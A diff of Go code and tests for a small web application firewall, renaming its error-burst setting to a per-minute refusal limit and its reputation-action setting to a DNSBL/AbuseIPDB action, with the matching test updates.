// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break
|
||||||
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
|
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
|
||||||
// heuristics skip, is not counted, and nothing is while the threshold is off.
|
// heuristics skip, is not counted, and nothing is while the limit is off.
|
||||||
// Its figures are the window, the count and the limit.
|
// Its figures are the window, the count and the limit.
|
||||||
type refusalLimit struct{}
|
type refusalLimit struct{}
|
||||||
|
|
||||||
@@ -28,7 +28,7 @@ func (refusalLimit) check(
|
|||||||
now time.Time,
|
now time.Time,
|
||||||
) *verdict {
|
) *verdict {
|
||||||
cfg := rq.h.config
|
cfg := rq.h.config
|
||||||
if cfg.ErrorBurstThreshold == 0 {
|
if cfg.RefusalsLimitPerMinute == 0 {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -37,7 +37,7 @@ func (refusalLimit) check(
|
|||||||
}
|
}
|
||||||
|
|
||||||
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
|
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
|
||||||
cfg.ErrorBurstThreshold)
|
cfg.RefusalsLimitPerMinute)
|
||||||
if !over {
|
if !over {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
)
|
)
|
||||||
|
|
||||||
const errorBurstThreshold = "SWW_WAF_ERROR_BURST_THRESHOLD"
|
const refusalsLimitPerMinute = "SWW_WAF_REFUSALS_LIMIT_PER_MINUTE"
|
||||||
|
|
||||||
// refused is a request the tests here send, which waf refuses after a rule
|
// refused is a request the tests here send, which waf refuses after a rule
|
||||||
// file match.
|
// file match.
|
||||||
@@ -48,29 +48,29 @@ func (r refused) send(s *sender, from string) logLine {
|
|||||||
return logLine{}
|
return logLine{}
|
||||||
}
|
}
|
||||||
|
|
||||||
// startForErrorBurst is startWithClock with testRules, the metrics token and
|
// startForRefusalLimit is startWithClock with testRules, the metrics token and
|
||||||
// SWW_WAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
|
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at limit, and the settings in env.
|
||||||
func startForErrorBurst(
|
func startForRefusalLimit(
|
||||||
t *testing.T, threshold string, env map[string]string,
|
t *testing.T, limit string, env map[string]string,
|
||||||
) (*sender, *clock, *waf.Server) {
|
) (*sender, *clock, *waf.Server) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
settings := map[string]string{
|
settings := map[string]string{
|
||||||
errorBurstThreshold: threshold,
|
refusalsLimitPerMinute: limit,
|
||||||
rulesDir: writeRules(t, testRules),
|
ruleFilesDir: writeRules(t, testRules),
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
}
|
}
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
return startWithClock(t, "", settings)
|
return startWithClock(t, "", settings)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
|
func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
name string
|
name string
|
||||||
// refusals are four, one over the threshold of three.
|
// refusals are four, one over the limit of three.
|
||||||
refusals []refused
|
refusals []refused
|
||||||
// nextAction is the action of the client's next request: the next
|
// nextAction is the action of the client's next request: the next
|
||||||
// request after a ban for a ban rule makes it permanent.
|
// request after a ban for a ban rule makes it permanent.
|
||||||
@@ -90,7 +90,7 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
|
|||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startForErrorBurst(t, "3", nil)
|
s, _, _ := startForRefusalLimit(t, "3", nil)
|
||||||
|
|
||||||
// Three refusals break nothing, and the app's answers between
|
// Three refusals break nothing, and the app's answers between
|
||||||
// them are not counted.
|
// them are not counted.
|
||||||
@@ -109,8 +109,8 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
|
|||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The fourth is answered as the others were, breaks the error
|
// The fourth is answered as the others were, breaks the refusal
|
||||||
// burst, and bans the client.
|
// limit, and bans the client.
|
||||||
line := tc.refusals[3].send(s, client)
|
line := tc.refusals[3].send(s, client)
|
||||||
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
|
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
|
||||||
line.Offence != requestlog.OffenceLimit {
|
line.Offence != requestlog.OffenceLimit {
|
||||||
@@ -130,7 +130,7 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
|
|||||||
func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startForErrorBurst(t, "1", nil)
|
s, _, _ := startForRefusalLimit(t, "1", nil)
|
||||||
|
|
||||||
const ruleFigures = `{"rule_id": "blocked", "rule_action": "block"}`
|
const ruleFigures = `{"rule_id": "blocked", "rule_action": "block"}`
|
||||||
|
|
||||||
@@ -146,10 +146,10 @@ func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
|||||||
`{"window": "minute", "count": 2, "limit": 1}`)
|
`{"window": "minute", "count": 2, "limit": 1}`)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
|
func TestRefusalLimitBanNotesHistoryAndMetrics(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, server := startForErrorBurst(t, "2", nil)
|
s, clk, server := startForRefusalLimit(t, "2", nil)
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
|
|
||||||
blockRule.send(s, client)
|
blockRule.send(s, client)
|
||||||
@@ -221,18 +221,18 @@ func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s, _, server := startWithClock(t, geojsURL, map[string]string{
|
s, _, server := startWithClock(t, geojsURL, map[string]string{
|
||||||
lookupTimeout: "1h",
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
errorBurstThreshold: "2",
|
refusalsLimitPerMinute: "2",
|
||||||
rulesDir: writeRules(t, testRules),
|
ruleFilesDir: writeRules(t, testRules),
|
||||||
tagLimitPercent: countryTagDEHalf,
|
tagLimitPercent: countryTagDEHalf,
|
||||||
})
|
})
|
||||||
|
|
||||||
// Half of the threshold would be one, which the second refusal is over.
|
// Half of the limit would be one, which the second refusal is over.
|
||||||
for range 2 {
|
for range 2 {
|
||||||
line := blockRule.send(s, fromDE)
|
line := blockRule.send(s, fromDE)
|
||||||
if line.LimitHit != "" {
|
if line.LimitHit != "" {
|
||||||
@@ -252,7 +252,7 @@ func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
|
func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
statuses := map[string]int{
|
statuses := map[string]int{
|
||||||
@@ -266,8 +266,8 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
|
|||||||
w.WriteHeader(statuses[r.URL.Path])
|
w.WriteHeader(statuses[r.URL.Path])
|
||||||
},
|
},
|
||||||
map[string]string{
|
map[string]string{
|
||||||
errorBurstThreshold: "1",
|
refusalsLimitPerMinute: "1",
|
||||||
rulesDir: writeRules(t, testRules),
|
ruleFilesDir: writeRules(t, testRules),
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -277,7 +277,7 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// The first refusal is one, not over the threshold.
|
// The first refusal is one, not over the limit.
|
||||||
line := blockRule.send(s, client)
|
line := blockRule.send(s, client)
|
||||||
if line.LimitHit != "" {
|
if line.LimitHit != "" {
|
||||||
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
||||||
@@ -293,23 +293,23 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
|
|||||||
wantAlerts(t, queue)
|
wantAlerts(t, queue)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
|
func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
threshold string
|
limit string
|
||||||
// broken is whether the 31st refusal breaks the error burst.
|
// broken is whether the 31st refusal breaks the refusal limit.
|
||||||
broken bool
|
broken bool
|
||||||
}{
|
}{
|
||||||
{"", true},
|
{"", true},
|
||||||
{off, false},
|
{off, false},
|
||||||
} {
|
} {
|
||||||
t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
|
t.Run(refusalsLimitPerMinute+"="+tc.limit, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
env := map[string]string{rulesDir: writeRules(t, testRules)}
|
env := map[string]string{ruleFilesDir: writeRules(t, testRules)}
|
||||||
if tc.threshold != "" {
|
if tc.limit != "" {
|
||||||
env[errorBurstThreshold] = tc.threshold
|
env[refusalsLimitPerMinute] = tc.limit
|
||||||
}
|
}
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", env)
|
s, _, _ := startWithClock(t, "", env)
|
||||||
@@ -322,7 +322,7 @@ func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
|
|||||||
broken := line.LimitHit == requestlog.LimitHitMinuteRefusals
|
broken := line.LimitHit == requestlog.LimitHitMinuteRefusals
|
||||||
if broken != tc.broken {
|
if broken != tc.broken {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"the 31st refusal broke the error burst: %t, want %t",
|
"the 31st refusal broke the refusal limit: %t, want %t",
|
||||||
broken,
|
broken,
|
||||||
tc.broken,
|
tc.broken,
|
||||||
)
|
)
|
||||||
@@ -331,7 +331,7 @@ func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
|
func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -339,7 +339,7 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
|
|||||||
exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||||
)
|
)
|
||||||
|
|
||||||
s, _, _ := startForErrorBurst(t, "1", map[string]string{
|
s, _, _ := startForRefusalLimit(t, "1", map[string]string{
|
||||||
allowNets: allowed, rateLimitExemptNets: exempt,
|
allowNets: allowed, rateLimitExemptNets: exempt,
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -367,10 +367,10 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
|
|||||||
s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
|
func TestRefusalLimitBanSetsTheRefusalsBackToZero(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, _ := startForErrorBurst(
|
s, clk, _ := startForRefusalLimit(
|
||||||
t,
|
t,
|
||||||
"1",
|
"1",
|
||||||
map[string]string{limitBanDuration: "1s"},
|
map[string]string{limitBanDuration: "1s"},
|
||||||
@@ -389,13 +389,13 @@ func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
|
func TestObserveModeLogsAndAlertsABrokenRefusalLimit(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||||
mode: observe,
|
mode: observe,
|
||||||
errorBurstThreshold: "1",
|
refusalsLimitPerMinute: "1",
|
||||||
rulesDir: writeRules(t, testRules),
|
ruleFilesDir: writeRules(t, testRules),
|
||||||
})
|
})
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
held := bans.Ban{
|
held := bans.Ban{
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
)
|
)
|
||||||
|
|
||||||
// deny is the SWW_WAF_BLOCKLIST_ACTION and the SWW_WAF_REPUTATION_ACTION that
|
// deny is the SWW_WAF_BLOCKLIST_ACTION and the SWW_WAF_DNSBL_ABUSEIPDB_ACTION that
|
||||||
// refuses the requests of a client a source lists.
|
// refuses the requests of a client a source lists.
|
||||||
const deny = "deny"
|
const deny = "deny"
|
||||||
|
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ const (
|
|||||||
asnLimitPercentURL = "SWW_WAF_ASN_LIMIT_PERCENT_URL"
|
asnLimitPercentURL = "SWW_WAF_ASN_LIMIT_PERCENT_URL"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The actions of SWW_WAF_BLOCKLIST_ACTION and SWW_WAF_REPUTATION_ACTION:
|
// The actions of SWW_WAF_BLOCKLIST_ACTION and SWW_WAF_DNSBL_ABUSEIPDB_ACTION:
|
||||||
// limitHalf gives a listed client half of every limit, and limitQuarter a
|
// limitHalf gives a listed client half of every limit, and limitQuarter a
|
||||||
// quarter.
|
// quarter.
|
||||||
const (
|
const (
|
||||||
@@ -155,7 +155,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(
|
|||||||
"dnsbl",
|
"dnsbl",
|
||||||
map[string]string{
|
map[string]string{
|
||||||
dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
||||||
reputationAction: actionDeny,
|
dnsblAbuseIPDBAction: actionDeny,
|
||||||
},
|
},
|
||||||
func(_ *testing.T, server *waf.Server) {
|
func(_ *testing.T, server *waf.Server) {
|
||||||
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
|
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
|
||||||
@@ -164,7 +164,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
"abuseipdb",
|
"abuseipdb",
|
||||||
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
|
map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionDeny},
|
||||||
func(_ *testing.T, server *waf.Server) {
|
func(_ *testing.T, server *waf.Server) {
|
||||||
loadScores(server, map[string]int64{client: 80})
|
loadScores(server, map[string]int64{client: 80})
|
||||||
},
|
},
|
||||||
@@ -308,8 +308,8 @@ func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(
|
|||||||
},
|
},
|
||||||
{"none, for an AS number the file does not list", nil, asnKP + ":25", none, none},
|
{"none, for an AS number the file does not list", nil, asnKP + ":25", none, none},
|
||||||
{
|
{
|
||||||
"SWW_WAF_ASN_BYTES_PERCENT's in place of the file's for the byte limits",
|
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT's in place of the file's for the byte limits",
|
||||||
map[string]string{asnBytesPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none,
|
map[string]string{asnBytesLimitPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none,
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
@@ -417,9 +417,9 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
|
|||||||
|
|
||||||
// The DNSBL settings.
|
// The DNSBL settings.
|
||||||
const (
|
const (
|
||||||
dnsblZones = "SWW_WAF_DNSBL_ZONES"
|
dnsblZones = "SWW_WAF_DNSBL_ZONES"
|
||||||
dnsblResolver = "SWW_WAF_DNSBL_RESOLVER"
|
dnsblResolver = "SWW_WAF_DNSBL_RESOLVER"
|
||||||
reputationAction = "SWW_WAF_REPUTATION_ACTION"
|
dnsblAbuseIPDBAction = "SWW_WAF_DNSBL_ABUSEIPDB_ACTION"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The DNSBL zones these tests name, which are never asked about the
|
// The DNSBL zones these tests name, which are never asked about the
|
||||||
@@ -432,7 +432,7 @@ const (
|
|||||||
noResolver = "127.0.0.1:9"
|
noResolver = "127.0.0.1:9"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
|
func TestEachDNSBLAbuseIPDBActionForAClientADNSBLZoneLists(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
|
forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
|
||||||
@@ -453,7 +453,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
|
|||||||
// Half of 4 requests a minute: the third breaks the limit.
|
// Half of 4 requests a minute: the third breaks the limit.
|
||||||
limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden},
|
limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden},
|
||||||
[]string{forward, forward, requestlog.ActionClientIsRateLimited},
|
[]string{forward, forward, requestlog.ActionClientIsRateLimited},
|
||||||
"50 from " + reputationAction,
|
"50 from " + dnsblAbuseIPDBAction,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK},
|
actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK},
|
||||||
@@ -465,7 +465,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
|
|||||||
|
|
||||||
s, server, _ := startWithLookups(t, map[string]string{
|
s, server, _ := startWithLookups(t, map[string]string{
|
||||||
rateLimitPerMinute: fourAMinute, dnsblZones: dnsblZone + "," + otherZone,
|
rateLimitPerMinute: fourAMinute, dnsblZones: dnsblZone + "," + otherZone,
|
||||||
dnsblResolver: noResolver, reputationAction: tc.action,
|
dnsblResolver: noResolver, dnsblAbuseIPDBAction: tc.action,
|
||||||
})
|
})
|
||||||
listedBy := map[string][]string{
|
listedBy := map[string][]string{
|
||||||
fromDE: {dnsblZone, otherZone}, fromKP: {otherZone},
|
fromDE: {dnsblZone, otherZone}, fromKP: {otherZone},
|
||||||
@@ -523,7 +523,7 @@ func TestDNSBLZonesComeAfterTheBlocklistsAndSkipAllowNets(t *testing.T) {
|
|||||||
|
|
||||||
s, server, queue := startWithLookups(t, map[string]string{
|
s, server, queue := startWithLookups(t, map[string]string{
|
||||||
blocklistURLs: dropURL, dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
blocklistURLs: dropURL, dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
||||||
reputationAction: actionDeny, allowNets: fromDE,
|
dnsblAbuseIPDBAction: actionDeny, allowNets: fromDE,
|
||||||
})
|
})
|
||||||
loadLists(t, server, map[string][]string{dropURL: {fromKP}})
|
loadLists(t, server, map[string][]string{dropURL: {fromKP}})
|
||||||
loadVerdicts(
|
loadVerdicts(
|
||||||
@@ -566,7 +566,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
|
|||||||
{
|
{
|
||||||
"dnsbl",
|
"dnsbl",
|
||||||
map[string]string{
|
map[string]string{
|
||||||
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionLog,
|
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionLog,
|
||||||
},
|
},
|
||||||
func(server *waf.Server) {
|
func(server *waf.Server) {
|
||||||
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
|
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
|
||||||
@@ -575,7 +575,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
abuseipdb,
|
abuseipdb,
|
||||||
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionLog},
|
map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog},
|
||||||
func(server *waf.Server) {
|
func(server *waf.Server) {
|
||||||
loadScores(server, map[string]int64{fromDE: 80})
|
loadScores(server, map[string]int64{fromDE: 80})
|
||||||
},
|
},
|
||||||
@@ -602,7 +602,7 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, server, queue := startWithLookups(t, map[string]string{
|
s, server, queue := startWithLookups(t, map[string]string{
|
||||||
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny,
|
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionDeny,
|
||||||
mode: observe,
|
mode: observe,
|
||||||
})
|
})
|
||||||
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
|
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
|
||||||
@@ -617,33 +617,33 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(
|
func TestDNSBLAbuseIPDBLimitTakesPartInTheLowestPercentageOfEveryLimit(
|
||||||
t *testing.T,
|
t *testing.T,
|
||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
blocklistAction, reputationAction string
|
blocklistAction, dnsblAbuseIPDBAction string
|
||||||
// want is the request's rate_limit_percent and bytes_limit_percent, as
|
// want is the request's rate_limit_percent and bytes_limit_percent, as
|
||||||
// percentText gives them.
|
// percentText gives them.
|
||||||
want string
|
want string
|
||||||
}{
|
}{
|
||||||
{limitHalf, limitQuarter, "25 from " + reputationAction},
|
{limitHalf, limitQuarter, "25 from " + dnsblAbuseIPDBAction},
|
||||||
{limitQuarter, limitHalf, "25 from " + blocklistAction},
|
{limitQuarter, limitHalf, "25 from " + blocklistAction},
|
||||||
// The blocklist's, the first of two alike.
|
// The blocklist's, the first of two alike.
|
||||||
{limitQuarter, limitQuarter, "25 from " + blocklistAction},
|
{limitQuarter, limitQuarter, "25 from " + blocklistAction},
|
||||||
{actionLog, limitQuarter, "25 from " + reputationAction},
|
{actionLog, limitQuarter, "25 from " + dnsblAbuseIPDBAction},
|
||||||
{actionLog, actionLog, none},
|
{actionLog, actionLog, none},
|
||||||
} {
|
} {
|
||||||
t.Run(
|
t.Run(
|
||||||
tc.blocklistAction+" "+tc.reputationAction,
|
tc.blocklistAction+" "+tc.dnsblAbuseIPDBAction,
|
||||||
func(t *testing.T) {
|
func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, server, _ := startWithLookups(t, map[string]string{
|
s, server, _ := startWithLookups(t, map[string]string{
|
||||||
blocklistURLs: dropURL, blocklistAction: tc.blocklistAction,
|
blocklistURLs: dropURL, blocklistAction: tc.blocklistAction,
|
||||||
dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
||||||
reputationAction: tc.reputationAction,
|
dnsblAbuseIPDBAction: tc.dnsblAbuseIPDBAction,
|
||||||
})
|
})
|
||||||
loadLists(t, server, map[string][]string{dropURL: {fromDE}})
|
loadLists(t, server, map[string][]string{dropURL: {fromDE}})
|
||||||
loadVerdicts(
|
loadVerdicts(
|
||||||
@@ -676,7 +676,7 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
|
|||||||
|
|
||||||
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
|
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
|
||||||
dnsblZones: dnsblZone + "," + otherZone, dnsblResolver: noResolver,
|
dnsblZones: dnsblZone + "," + otherZone, dnsblResolver: noResolver,
|
||||||
reputationAction: actionLog, metricsToken: token,
|
dnsblAbuseIPDBAction: actionLog, metricsToken: token,
|
||||||
})
|
})
|
||||||
loadVerdicts(server, map[string][]string{
|
loadVerdicts(server, map[string][]string{
|
||||||
fromDE: {dnsblZone, otherZone}, unplaced: nil,
|
fromDE: {dnsblZone, otherZone}, unplaced: nil,
|
||||||
@@ -740,7 +740,7 @@ func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) {
|
|||||||
)
|
)
|
||||||
|
|
||||||
s, server, queue := startWithLookups(t, map[string]string{
|
s, server, queue := startWithLookups(t, map[string]string{
|
||||||
dnsblZones: keyed, dnsblResolver: noResolver, reputationAction: actionLog,
|
dnsblZones: keyed, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionLog,
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
})
|
})
|
||||||
loadVerdicts(server, map[string][]string{fromDE: {keyed}, unplaced: nil})
|
loadVerdicts(server, map[string][]string{fromDE: {keyed}, unplaced: nil})
|
||||||
@@ -849,7 +849,7 @@ func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(
|
|||||||
forward := requestlog.ActionForward
|
forward := requestlog.ActionForward
|
||||||
|
|
||||||
s, clk, server, _ := startWithLookupsAndClock(t, map[string]string{
|
s, clk, server, _ := startWithLookupsAndClock(t, map[string]string{
|
||||||
abuseIPDBKey: accountKey, rateLimitPerMinute: "2", reputationAction: actionLog,
|
abuseIPDBKey: accountKey, rateLimitPerMinute: "2", dnsblAbuseIPDBAction: actionLog,
|
||||||
})
|
})
|
||||||
|
|
||||||
// Neither fromDE, until it breaks a rate limit, nor fromKP, which never
|
// Neither fromDE, until it breaks a rate limit, nor fromKP, which never
|
||||||
@@ -892,7 +892,7 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(
|
|||||||
}
|
}
|
||||||
|
|
||||||
s, clk, server := startWithClock(t, "", map[string]string{
|
s, clk, server := startWithClock(t, "", map[string]string{
|
||||||
abuseIPDBKey: accountKey, reputationAction: actionLog,
|
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog,
|
||||||
rateLimitPerMinute: strconv.Itoa(len(addresses)),
|
rateLimitPerMinute: strconv.Itoa(len(addresses)),
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -961,9 +961,12 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, server := startWithClock(t, "", map[string]string{
|
s, clk, server := startWithClock(t, "", map[string]string{
|
||||||
abuseIPDBKey: accountKey, reputationAction: actionLog,
|
abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog,
|
||||||
rulesDir: writeRules(t, testRules), attackBanDuration: "1h",
|
ruleFilesDir: writeRules(
|
||||||
trapPaths: trapPathList, wafMode: block,
|
t,
|
||||||
|
testRules,
|
||||||
|
), attackBanDuration: "1h",
|
||||||
|
trapPaths: trapPathList, coreRuleSetMode: block,
|
||||||
})
|
})
|
||||||
|
|
||||||
s.request(client, tc.path, tc.status, tc.action)
|
s.request(client, tc.path, tc.status, tc.action)
|
||||||
@@ -986,7 +989,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
|
func TestEachDNSBLAbuseIPDBActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
|
||||||
t *testing.T,
|
